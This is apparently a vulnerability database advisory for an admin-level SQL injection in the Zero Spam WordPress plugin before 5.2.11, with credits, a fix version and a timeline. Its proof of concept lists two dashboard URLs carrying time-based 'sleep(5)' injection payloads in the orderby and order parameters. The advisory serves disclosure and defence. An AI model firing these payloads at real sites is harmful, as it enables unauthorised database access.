WordPress Plugin Vulnerabilities

Zero Spam < 5.2.11 - Admin+ SQL Injection

Description

The plugin does not properly sanitise and escape the order and orderby parameters before using them in a SQL statement in the admin dashboard, leading to a SQL injection

Proof of Concept

With at least one IP in the “Blocked IPs” list:

https://example.com/wp-admin/?page=wordpress-zero-spam-dashboard&tab=blocked&orderby=1%20and%20sleep(5)
https://example.com/wp-admin/?page=wordpress-zero-spam-dashboard&tab=blocked&orderby=date_added&order=+and+sleep(5)

Affects Plugins

Fixed in 5.2.11

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-02-18 (about 2 years ago)
Added
2022-02-18 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)

Other